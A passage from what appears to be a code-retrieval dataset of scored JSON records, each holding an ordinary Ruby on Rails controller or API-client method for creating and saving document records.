@document.stuffing_primary_keys = get_data_colnames(@document.stuffing_data)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "042952b6ee42f8e4ccfaae52a710c5ea", "score": "0.66798776", "text": "def create\n @modified_document = ModifiedDocument.new(modified_document_params)\n \n if @modified_document.save\n render json: @modified_document, status: :ok\n else\n render json: @modified_document.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "686aa699481e9924bc5295c058559199", "score": "0.6679421", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @documents.map{|document| document.to_jq_upload } }\n \n end\n end", "title": "" }, { "docid": "67d62eaacebb50fba4b61b10aff3342f", "score": "0.66619205", "text": "def create\n authorize! :create, Document.new, @project\n main = @project.document_mains.create\n rev = main.revisions.create\n document = rev.versions.new(document_params(true))\n if document.save\n send_emails_helper(document)\n render json: document.attributes_for_edit\n else\n rev.destroy\n main.destroy\n render json: document.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "13540160386beb9f501efa9c7eba49cb", "score": "0.6658574", "text": "def create\n\t \n\tdata = unpack_document(params[:document][:datafile]) \n\tdoc_params = {:title => document_params[\"title\"], :date => get_date(document_params,\"date\")}\n\tif !data.nil? then\n\t\tdoc_params[:content] = data[:content]\n\t\tdoc_params[:styles] = data[:styles]\n\tend\n @document = Document.new(doc_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render action: 'show', status: :created, location: @document }\n else\n format.html { render action: 'new' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b80bb52794d3cc4b8dab94642feee4f7", "score": "0.661543", "text": "def create\n @document = Document.new()\n @document.process params[:document][:file]\n \n respond_to do |format|\n if @document.save\n format.html { redirect_to :action => :index , notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "980db7bb493f73982775458000784461", "score": "0.6593765", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n if params[:attachments]\n params[:attachments].each do |a|\n @attachment = @document.attachments.create!(:attachment => a)\n end\n end\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fea887c6558234e6dfbad652df1b9b8e", "score": "0.6589974", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to(@document, :notice => 'Document was successfully created.') }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67020ff248bb3f2154d6262fd12ff46d", "score": "0.6570032", "text": "def create\n @document = @department.documents.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render action: 'show', status: :created, location: @document }\n else\n format.html { render action: 'new' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6ff2c038d3e44551b0b5d55acaee108", "score": "0.655061", "text": "def create\n @docfile = Docfile.new(docfile_params)\n\n respond_to do |format|\n if @docfile.save\n format.html { redirect_to @docfile, notice: \"Docfile was successfully created.\" }\n format.json { render :show, status: :created, location: @docfile }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @docfile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "06a8d2386edfea3e2a01752731df6788", "score": "0.6545639", "text": "def create\n @current_user = User.find_by_id(session[:user_id])\n @document = Document.new(params[:document])\n @document.user = @current_user\n if @document.file && !document.file.empty?\n @document.name = @document.file.original_filename\n @document.status = 'pending'\n #@document.dt_reference = DocTrackrEnterprise.secure_document(@document.file, \"https://doctrackr-salesforce.herokuapp.com/documents/callback\")\n end\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34efe9bf7d6cbca87c9a203bcf29cbab", "score": "0.65343434", "text": "def create\n @document = @course.documents.build(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @course, notice: \"Document was successfully created.\" }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "29cafbb9c1cbbb8c9252281e3d413458", "score": "0.65334165", "text": "def create\n @squadron_document = SquadronDocument.new(params[:squadron_document])\n\n respond_to do |format|\n if @squadron_document.save\n format.html { redirect_to @squadron_document, :notice => 'Squadron document was successfully created.' }\n format.json { render :json => @squadron_document, :status => :created, :location => @squadron_document }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @squadron_document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5ef8de3ea3712e12c4ffa39fb73a38c", "score": "0.65316033", "text": "def create\n @document_file = DocumentFile.new(document_file_params)\n @document_file.document = @document\n respond_to do |format|\n if @document_file.save\n format.html { redirect_to edit_document_path(@document), notice: 'Document file was successfully created.' }\n format.json { render :show, status: :created, location: @document_file }\n else\n format.html { render :new }\n format.json { render json: @document_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30f68576cb71ad8ed8829805b8c357a7", "score": "0.6520576", "text": "def create\n if signed_in?\n if current_user.admin?\n @document = Document.new(document_params)\n @document.user = current_user\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: I18n.t('documents.messages.create_success') }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n else\n admin_user\n end\n else\n redirect_to signin_path\n end\n end", "title": "" }, { "docid": "ef1222bb51687f2d28b37a1b473b4e61", "score": "0.6515768", "text": "def create\n @documents_person = DocumentsPerson.new(documents_person_params)\n\n respond_to do |format|\n if @documents_person.save\n format.html { redirect_to @documents_person, notice: 'Documents person was successfully created.' }\n format.json { render :show, status: :created, location: @documents_person }\n else\n format.html { render :new }\n format.json { render json: @documents_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c15978f071d09f9a593eb6d84f2cc573", "score": "0.65118843", "text": "def create\n @document = current_user.documents.build(document_params)\n get_identification_type\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43f324806f60466d137b733e0ad8d992", "score": "0.6505825", "text": "def index\n @documents = Document.all\n @document = Document.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n end\n end", "title": "" }, { "docid": "9b512b5b4daba5cfbf74c0fad0aea95f", "score": "0.64952534", "text": "def create\n @documentotipo = Documentotipo.new(params[:documentotipo])\n\n respond_to do |format|\n if @documentotipo.save\n format.html { redirect_to @documentotipo, notice: 'Documentotipo was successfully created.' }\n format.json { render json: @documentotipo, status: :created, location: @documentotipo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @documentotipo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7359edbe5c3042e85b8b08ed676162df", "score": "0.64827925", "text": "def create\n # puts \"*|*|\"*20\n # puts params[:document][:data].original_filename\n # puts params[:document][:data].content_type\n # puts document_params[:data].original_filename\n # puts document_params[:data].content_type\n # puts \"*^*^\"*20\n @document = Document.new\n @document.name = document_params[:name]\n @document.lab_id = document_params[:lab_id]\n @document.data = document_params[:data].read\n @document.filename = sanitize_filename(document_params[:data].original_filename)\n @document.content_type = document_params[:data].content_type\n\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to documents_url, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: documents_url }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7384903f22977a05fa83a9e3f5ffc1d4", "score": "0.647855", "text": "def create\n @shared_document = SharedDocument.new(shared_document_params)\n\n respond_to do |format|\n if @shared_document.save\n # format.html { redirect_to @shared_document, notice: 'Shared document was successfully created.' }\n format.json { render json: @shared_document.to_json({}) }\n else\n format.html { render action: 'new' }\n format.json { render json: @shared_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc45a2027b523ec1b9d5c07c264611a4", "score": "0.64720947", "text": "def add_document(birthdate:, first_name:, last_name:, street:, postal_code:, country_code:, document_type:, document_value:)\n data = {\n doc: {\n birth_day: birthdate.day,\n birth_month: birthdate.month,\n birth_year: birthdate.year,\n name_first: first_name,\n name_last: last_name,\n address_street1: street,\n address_postal_code: postal_code,\n address_country_code: country_code,\n document_type: document_type,\n document_value: document_value\n }\n }\n\n @client.patch(path: \"/users/#{@user_id}\", oauth_key: @oauth_key, fingerprint: @fingerprint, json: data)\n end", "title": "" }, { "docid": "e80c3503b9ee99ed4851e0d1cc9a68a9", "score": "0.6470422", "text": "def create\r\n @customer_document = CustomerDocument.new(params[:customer_document])\r\n\r\n respond_to do |format|\r\n if @customer_document.save\r\n format.html { redirect_to @customer_document, notice: 'Customer document was successfully created.' }\r\n format.json { render json: @customer_document, status: :created, location: @customer_document }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @customer_document.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "f3d1d3d2c659c4797c02367de7cd9784", "score": "0.6455064", "text": "def create\n @order_document = OrderDocument.new(order_document_params)\n\n respond_to do |format|\n if @order_document.save\n format.html { redirect_to @order_document, notice: 'Order document was successfully created.' }\n format.json { render :show, status: :created, location: @order_document }\n else\n format.html { render :new }\n format.json { render json: @order_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "859eb14a2808045c6324992f4e778722", "score": "0.64394814", "text": "def create\n @document = Document.new(document_params)\n\n authorize @document\n\n respond_to do |format|\n if @document.save\n flash_label = \"Document was successfully created.\"\n flash.now[:notice] = flash_label\n\n format.html { redirect_to @document, notice: flash_label }\n format.json { render :show, status: :created, location: @document }\n format.js\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "title": "" }, { "docid": "13cc1bbce6d9733804d9e666d4da43e5", "score": "0.64319336", "text": "def new\n \n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n \n end", "title": "" }, { "docid": "7b61679afae6c6b36806ba4225353aac", "score": "0.64195275", "text": "def create\n @document = @instruction.documents.build(document_params)\n authorize @document\n disable_primary if @document.primary\n respond_to do |format|\n if @document.save\n format.html { redirect_to @instruction, notice: t('documents.create.success') }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "84d39841226fd60672283de19484ab74", "score": "0.64169335", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = 'Document was successfully created.'\n #format.html { redirect_to(@document) }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "897d373d1a03013e2092da06fb40f115", "score": "0.64001477", "text": "def add_documents\n\t\tif @current_user.present?\n\t\t\t@property = Property.find(params[:property_id])\n\t\t\tif @property.present?\n\t\t\t\tif @property.documents.present?\n\t\t\t\t\t@property.documents.destroy_all\n\t\t\t\tend\n\t\t\t\tparams[:files].each { |file|\n\t i = @property.documents.create(file: file)\n\t if i.save\n\t else\n\t \trender_json({\"status\" => \"Fail\", \"message\" => i.errors.full_messages.first}.to_json)\n\t \treturn\n\t end\n\t }\n\t render :file => 'api/v1/property/add_document'\n\t #render_json({\"status\" => \"Success\", \"message\" => \"Documents has been saved successfully.\"}.to_json)\n\t else\n\t \trender_json({\"status\" => \"Fail\", \"message\" => \"No property found.\"}.to_json)\n\t end\n\t\tend\n\tend", "title": "" }, { "docid": "2ff26be8161a93b50db01e879ae401da", "score": "0.6392859", "text": "def document_params\n params.require(:document).permit(:title, :date, :content)\n end", "title": "" }, { "docid": "600749a2fd0e590be75b2a56c66565bc", "score": "0.6389601", "text": "def document_params\n params.require(:document).permit(:title, :doc)\n end", "title": "" }, { "docid": "8547e0e30c1ba2d0786c118bbb06db5b", "score": "0.6384314", "text": "def create\n @document_page = DocumentPage.new(params[:document_page])\n\n respond_to do |format|\n if @document_page.save\n format.html { redirect_to @document_page, notice: 'Document page was successfully created.' }\n format.json { render json: @document_page, status: :created, location: @document_page }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document_page.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5edd14c711fdd4db8a8b099d5be299f", "score": "0.63727105", "text": "def create\n\n \t\n @companydocument = Companydocument.new(params[:companydocument])\n\n respond_to do |format|\n if @companydocument.save\n format.html { redirect_to @companydocument, notice: 'Companydocument was successfully created.' }\n format.json { render json: @companydocument, status: :created, location: @companydocument }\n else\n format.html { render action: \"new\" }\n format.json { render json: @companydocument.errors, status: :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "4d34f86379790591fedc015e407b8dd3", "score": "0.6368907", "text": "def create\n @document = Document.new(document_params)\n respond_to do |format|\n ap tame_name = params[:document][:team]\n if @document.save\n format.html { redirect_to documents_url(:team_id => @document.team_id, :team => tame_name), notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { redirect_to new_document_path(:team_id => @document.team_id), notice: 'Document not created.' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "207713489577f22260c498a8bad98ae3", "score": "0.63626117", "text": "def create\n @documentos_simposio = DocumentosSimposio.new(documentos_simposio_params)\n\n respond_to do |format|\n if @documentos_simposio.save\n format.html { redirect_to @documentos_simposio, notice: 'Documentos simposio was successfully created.' }\n format.json { render :show, status: :created, location: @documentos_simposio }\n else\n format.html { render :new }\n format.json { render json: @documentos_simposio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b871c80a213b6e68f2cdb4ef172c0fe4", "score": "0.6362247", "text": "def create\n if(@document = Document.new(params[:document])).save\n flash['notice'] = 'Document was successfully created.'\n respond_with @document, \n :location => site_document_url(@document.site.slug , @document.id.to_s)\n else\n\n if doc = Document.where(uri: params[:document][:uri]).first\n params[:id] = doc.id\n update\n else\n respond_with @document\n end\n end\n \n end", "title": "" }, { "docid": "91c9b3fe177f6e60507987213cc6de67", "score": "0.6350909", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to event_documents_path(@document.event.id), notice: 'Document was successfully created .' }\n format.json { render action: 'show', status: :created, location: @document }\n format.js\n else\n format.html { render action: 'new' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f3d1d7d0677b7fc7e77091ed420986f", "score": "0.63435924", "text": "def create\n @special_document = ModifiedDocument.new(params[:special_document])\n\n respond_to do |format|\n if @special_document.save\n format.html { redirect_to @special_document, notice: 'Special document was successfully created.' }\n format.json { render json: @special_document, status: :created, location: @special_document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @special_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5eaa9c7ddacf40ec068ddf081deab98", "score": "0.63433754", "text": "def indexDocument(index, type, document, id)\n self.class.post(\"#{index}/#{type}/#{id}\", :body => document.to_json)\n end", "title": "" }, { "docid": "afe880ae77428bf099be10f7b261b439", "score": "0.6342738", "text": "def create\n @client_doc = ClientDoc.new(client_doc_params)\n\n respond_to do |format|\n if @client_doc.save\n format.html { redirect_to @client_doc, notice: 'Client doc was successfully created.' }\n format.json { render :show, status: :created, location: @client_doc }\n else\n format.html { render :new }\n format.json { render json: @client_doc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e58ab578f3f5df86418cf345c907bce3", "score": "0.63404554", "text": "def add_document(opts={})\n raise ArgumentError, \":title is required\" if opts[:title].nil?\n raise ArgumentError, \":body is required\" if opts[:body].nil?\n raise ArgumentError, \":url is required\" if opts[:url].nil?\n \n if opts[:tags].is_a?(Array)\n opts[:tags] = opts[:tags].join(\",\")\n end\n \n doc = opts.to_json\n \n Srchio::Response.new(self.class.post(\"/searchers/#{searcher_id}/documents\", :body => doc))\n end", "title": "" }, { "docid": "8089ed7b5ea2493bf7f07f63854ce0b5", "score": "0.6334879", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |wants|\n if @document.save\n flash[:notice] = 'Document was successfully created.'\n wants.html { redirect_to(@document) }\n wants.xml { render :xml => @document, :status => :created, :location => @document }\n else\n wants.html { render :action => \"new\" }\n wants.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1008292a2d9e54fb41a48d355ad48a9a", "score": "0.63282865", "text": "def create\n @department_document = DepartmentDocument.new(department_document_params)\n\n respond_to do |format|\n if @department_document.save\n format.html { redirect_to @department_document, notice: 'Department document was successfully created.' }\n format.json { render :show, status: :created, location: @department_document }\n else\n format.html { render :new }\n format.json { render json: @department_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "839a0dca747a287aa75adb66e5bfee08", "score": "0.63265926", "text": "def new\n @paper = Paper.new\n @document = @paper.documents.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paper }\n end\n end", "title": "" }, { "docid": "3a4edd7300550389b636857cc6b7ef9b", "score": "0.6326498", "text": "def create\n \n @doc = Doc.new(params[:doc])\n\n respond_to do |format|\n if @doc.save\n save_object_relationship\n format.html { redirect_to(@doc, :notice => 'Doc was successfully created.') }\n format.xml { render :xml => @doc, :status => :created, :location => @doc }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "48dacbab0c7a2bfb071e6cac1994181b", "score": "0.63259566", "text": "def document_params\n params.fetch(:document).permit(:title, :name, :content)\n end", "title": "" }, { "docid": "0af3fa4da19eebd03ba4295eb025b7e1", "score": "0.6317605", "text": "def save doc\n if doc['_attachments']\n doc['_attachments'] = encode_attachments(doc['_attachments'])\n end\n if doc['_id']\n slug = CGI.escape(doc['_id'])\n CouchRest.put \"#{@root}/#{slug}\", doc\n else\n CouchRest.post \"#{@root}\", doc\n end\n end", "title": "" }, { "docid": "f85b9322f0ddcbe2e7da31ce705dc3fc", "score": "0.630998", "text": "def create\n @doc = Doc.new(params[:doc])\n\n respond_to do |format|\n if @doc.save\n format.html { redirect_to(@doc, :notice => 'Doc was successfully created.') }\n format.xml { render :xml => @doc, :status => :created, :location => @doc }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9efa213953d1c4d9232f78b6f67739eb", "score": "0.63043135", "text": "def document_params\n params.require(:document).permit(:title, :body)\n end", "title": "" }, { "docid": "28851df0aa6670d12e40dfaf23954d98", "score": "0.62841344", "text": "def create\n @documentation = current_user.documentations.build(documentation_params)\n\n respond_to do |format|\n if @documentation.save\n format.html { redirect_to @documentation, notice: 'Documentation was successfully created.' }\n format.json { render :show, status: :created, location: @documentation }\n else\n format.html { render :new }\n format.json { render json: @documentation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6fc4b5b05275a1e493e47360abc620c5", "score": "0.6281688", "text": "def save document\n ensure_connection!\n resp = connection.create_doc index_id, document.to_hash\n if resp.success?\n raw = document.instance_variable_get \"@raw\"\n raw.merge! JSON.parse(resp.body)\n return document\n end\n fail ApiError.from_response(resp)\n rescue JSON::ParserError\n raise ApiError.from_response(resp)\n end", "title": "" }, { "docid": "ef6179690923b10e24a84291eeed5c6d", "score": "0.6280211", "text": "def new\r\n @document = Document.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @document }\r\n end\r\n end", "title": "" }, { "docid": "38edb5d308b3af250cae534b3c67adc8", "score": "0.62775326", "text": "def create\n @doc = Doc.new(params[:doc])\n\n respond_to do |format|\n if @doc.save\n format.html { redirect_to @doc, notice: \"\\\"#{@doc.component}\\\" was successfully created.\" }\n format.json { render json: @doc, status: :created, location: @doc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @doc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3565f18dbe924c303e0f47f59a4962ca", "score": "0.6275243", "text": "def add(document)\n @rest.post(\"/#{@db_name}\", [document])\n end", "title": "" }, { "docid": "741c7a2ae31002658b78a0904062ac56", "score": "0.62745124", "text": "def post_document_save_as(request)\n data, _status_code, _headers = post_document_save_as_with_http_info(request)\n request_token if _status_code == 401\n data\n end", "title": "" }, { "docid": "218cb9ea18d0d33d3522fc04c6cf86cc", "score": "0.6260269", "text": "def create\n @document = Document.new(params[:document])\n @document.generate_token\n @document.archived = false\n if params[:group_id]\n @document.owner = Group.find(params[:group_id]) \n else\n @document.owner ||= default_company\n end\n @document.author = current_user\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to document_path(@document), :flash => { :success => 'Document was successfully created.'} }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c6c88a5e8e6ce19fdec30205c60d4236", "score": "0.6259373", "text": "def document_params\n params.require(:document).permit(:name, :document_type, :document_url, :intake_code)\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6240122", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6240122", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6240122", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6240122", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6240122", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6240122", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6240122", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6240122", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6240122", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "d1445189a7e43a5ae57b8137d822a28d", "score": "0.62372047", "text": "def index_documents\n @params = {}\n @action = 'index_documents'\n \n send_auth_request\n end", "title": "" }, { "docid": "3ebee93b0e828729593b5f4cebe55480", "score": "0.6233273", "text": "def document_params\n params.require(:document).permit(:name, :collection_id, :file_dir)\n end", "title": "" }, { "docid": "e98e4bfd32ace60680c4c3d7c332f531", "score": "0.62192506", "text": "def create_document_using_post_with_http_info(document_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DocumentApi.create_document_using_post ...'\n end\n # verify the required parameter 'document_request' is set\n if @api_client.config.client_side_validation && document_request.nil?\n fail ArgumentError, \"Missing the required parameter 'document_request' when calling DocumentApi.create_document_using_post\"\n end\n # resource path\n local_var_path = '/nucleus/v1/document'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(document_request)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Document')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DocumentApi#create_document_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "11cb1d30c83aa3eaf33ae722acbedfc2", "score": "0.6216246", "text": "def document_params\n params.require(:document).permit!\n end", "title": "" }, { "docid": "29c03f7bc8da9338bdc18de2716bd5f4", "score": "0.62134045", "text": "def new\n #@current_user = User.find(session[:user_id])\n #@document = @current_user.documents.new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "67410aef80410e56b5268806ef994559", "score": "0.62127537", "text": "def documents\n return bad_request unless params[:id] and request.format.json? || request.format.js? || request.format.text?\n return not_found unless current_document\n opts = {:access => true, :sections => true, :annotations => true, :data => true}\n if current_account\n opts[:account] = current_account\n opts[:allowed_to_edit] = current_account.allowed_to_edit?(current_document)\n opts[:allowed_to_review] = current_account.reviews?(current_document)\n end\n @response = {'document' => current_document.canonical(opts)}\n respond_to do |format|\n format.text do\n direct = [PRIVATE, ORGANIZATION, EXCLUSIVE].include? current_document.access\n redirect_to(current_document.full_text_url(direct: direct))\n end\n format.json { render_cross_origin_json }\n format.js { render_cross_origin_json }\n end\n end", "title": "" }, { "docid": "9d04e352a1932ec8d2bfbb6a2064b9f0", "score": "0.6210335", "text": "def create\n @document = @memo.new_document(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to memo_url(@memo), notice: 'Memo was successfully created.' }\n format.json { render json: @document, status: :created }\n else\n format.html { render memo_url(@memo) }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1424ebf4c6728a0ea40d546d79115b8a", "score": "0.6207217", "text": "def create\n @document_type = DocumentType.new(params[:document_type])\n\n respond_to do |format|\n if @document_type.save\n format.html { redirect_to @document_type, notice: 'Document type was successfully created.' }\n format.json { render json: @document_type, status: :created, location: @document_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "846b1e9472a090ea5646331117eb8c71", "score": "0.6200279", "text": "def document_params\n params.require(:document).permit(:name, :data, :lab_id)\n end", "title": "" }, { "docid": "d04a70219185169ff015254a9cca9619", "score": "0.6197739", "text": "def create\n @documento = Documento.new(params[:documento])\n\n respond_to do |format|\n if @documento.save\n format.html { \n\t\tredirect_to @documento , notice: 'Documento creado con éxito.', flash: {estado: 0}\n }\n format.json { render json: @documento, status: :created, location: @documento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @documento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7869829c11b7ac4912625c4a4338c599", "score": "0.61969155", "text": "def create\n @tipo_documento = TipoDocumento.new(params[:tipo_documento])\n\n respond_to do |format|\n if @tipo_documento.save\n format.html { redirect_to @tipo_documento, notice: 'Tipo documento was successfully created.' }\n format.json { render json: @tipo_documento, status: :created, location: @tipo_documento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_documento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "17aacd0d4d9b5e8a026bd20f96fdc88f", "score": "0.61955404", "text": "def create_documents(type_identifier, events); end", "title": "" }, { "docid": "ea891e0cbaaf9f364bf6bf4b423ac277", "score": "0.6189482", "text": "def create\n @cdocument = Cdocument.new(cdocument_params)\n\n respond_to do |format|\n if @cdocument.save\n format.html { redirect_to @cdocument, notice: 'Cdocument was successfully created.' }\n format.json { render :show, status: :created, location: @cdocument }\n else\n format.html { render :new }\n format.json { render json: @cdocument.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1655af7ebb5dbd1270c3bbc6874d7ea9", "score": "0.61800134", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to(@document, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 